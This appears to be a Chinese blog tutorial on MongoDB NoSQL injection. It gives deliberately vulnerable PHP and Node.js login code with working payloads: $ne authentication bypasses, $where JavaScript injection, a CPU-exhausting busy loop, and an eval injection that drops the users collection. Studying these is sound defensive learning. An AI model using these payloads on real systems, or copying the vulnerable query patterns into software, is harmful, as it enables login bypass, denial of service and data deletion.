续上一篇mongodb注入的博客,其实大体差不多,新增了一些js的注入问题和driver的mongodb
shell的命令执行问题,学习的参考链接 https://www.anquanke.com/post/id/97211
概述
首先说下NOSQL的注入,NoSQL泛指非关系型数据库,相比传统的SQL数据库有更宽松的一致性限制,它通过减少关系约束和一致性检查来提供更好的性能和扩展性,但即使没有使用sql的语法,它们依然可以被攻击,而且由于NoSQL注入可以在程序语言中执行,而不是在声明式SQL语言中执行,所以潜在的影响要更大.
NoSQL的调用是通过应用程序的语言来编写的,所以过滤掉常见的HTML特殊字符并不能阻止Nosql攻击
分类我们直接按传统sql分类来看吧
NoSQL注入分类
(1)永真式
也就是通过注入代码,让生成的表达式结果永远为真,从而绕过认证,可以脑补'or'1'='1
(2)联合查询 通过参数来改变查询的数据集来绕认证,脑补' and false union
select 1,md5(1)%23 (3)javascript注入
新的漏洞,由允许执行数据中的js的NoSQL数据库引入.
js使得在数据引擎进行复杂事务和查询成为可能。传递不干净的用户输入可以注入js代码,导致非法数据获取
php中的NoSQL注入
重言注入
拿文中代码为例
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php $manager = new MongoDB\Driver\Manager("mongodb://mongo:27017"); $dbUsername = null; $dbPassword = null; $data = array( 'username' => $_REQUEST['username'], 'password' => $_REQUEST['password']
); $query = new MongoDB\Driver\Query($data); $cursor = $manager->executeQuery('test.users', $query)->toArray(); $doc_failed = new DOMDocument(); $doc_failed->loadHTMLFile("failed.html"); $doc_succeed = new DOMDocument(); $doc_succeed->loadHTMLFile("succeed.html"); if(count($cursor)>0){ echo $doc_succeed->saveHTML(); } else{ echo $doc_failed->saveHTML(); }
|
一个简单的登录处理,data变量存在注入
1
| payload:username[$ne]=1&password[$ne]=1
|
联合查询注入
随意看下,这个还是自由发挥吧
1 2 3 4
| string query ="{ username: '" + post_username + "', password: '" + post_password + "' }" payload:
username=tolkien', $or: [ {}, { 'a':'a&password=' } ]
|
JavaScript注入
where操作符
在mongodb中,where操作符是可以执行js语句的,Mongodb2.4之前的$where可以使用map-reduce,group来访问mongo
shell中的全局变量和属性 给出示例代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php $manager = new MongoDB\Driver\Manager("mongodb://mongo:27017"); $query_body =array( '$where'=>" function q() { var username = ".$_REQUEST["username"]."; var password = ".$_REQUEST["password"]."; if(username == 'admin'&&password == '123456') return true; else { return false; } } "); $query = new MongoDB\Driver\Query($query_body); $cursor = $manager->executeQuery('test.users', $query)->toArray(); $doc_failed = new DOMDocument(); $doc_failed->loadHTMLFile("failed.html"); $doc_succeed = new DOMDocument(); $doc_succeed->loadHTMLFile("succeed.html"); if(count($cursor)>0){ echo $doc_succeed->saveHTML(); } else{ echo $doc_failed->saveHTML(); }
|
我们在这里注入
1
| payload:username=1&password=1;return true;
|
查看数据流
php先将参数加到js里面,然后形成了一个奇奇怪怪的js,这个js返到mongodb里,然后在查询的时候,服务器执行了我们想要执行的js,从而绕过验证
然后文中一个让mongodb服务器cpu飙升的payload
1
| username=1&password=1;(function(){var%20date%20=%20new%20Date();%20do{curDate%20=%20new%20Date();}while(curDate-date%3C5000);%20return%20Math.max();})();
|
Command方法注入
php官方已经友情提示不要使用了,但还是难免有人为了实现奇怪的功能去使用,给出示例代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php $manager = new MongoDB\Driver\Manager("mongodb://mongo:27017"); $username = $_REQUEST['username']; $cmd = new MongoDB\Driver\Command([ // build the 'distinct' command 'eval'=> "db.users.distinct('username',{'username':'$username'})" ]); $cursor = $manager->executeCommand('test', $cmd)->toArray(); var_dump($cursor); $doc_failed = new DOMDocument(); $doc_failed->loadHTMLFile("failed.html"); $doc_succeed = new DOMDocument(); $doc_succeed->loadHTMLFile("succeed.html"); if(count($cursor)>0){ echo $doc_succeed->saveHTML(); } else{ echo $doc_failed->saveHTML(); }
|
cmd那里存在拼接的Mongodb的shell执行,如果应用连接的数据库权限够高,我们可以干的事情就很多,比如可以
1
| payload:username=2′});db.users.drop();db.user.find({‘username’:’2
|
删库跑路了解一下
Node.js中的NoSQL注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| var express = require('express'); var mongoose = require('mongoose'); var bodyParser = require('body-parser'); mongoose.connect('mongodb://localhost/test', { useMongoClient: true }); var UserSchema = new mongoose.Schema({ name: String, username: String, password: String }); var User = mongoose.model('users', UserSchema); var app = express(); app.set('views', __dirname); app.set('view engine', 'jade');
app.get('/', function(req, res) { res.render('index', {}); });
app.use(bodyParser.json());
app.post('/', function(req, res) { console.log(req.body) User.findOne({username: req.body.username, password: req.body.password}, function (err, user) { console.log(user) if (err) { return res.render('index', {message: err.message}); } if (!user) { return res.render('index', {message: 'Sorry!'}); }
return res.render('index', {message: 'Welcome back ' + user.name + '!!!'}); }); });
var server = app.listen(49090, function () { console.log('listening on port %d', server.address().port); });
|
打扰了,不会nodejs,虽然分析主要部分还是没啥问题的.. payload
1 2 3
| POST http://127.0.0.1:49090/ HTTP/1.1Content-Type: application/json{ "username": {"$ne": null},"password": {"$ne": null}}
|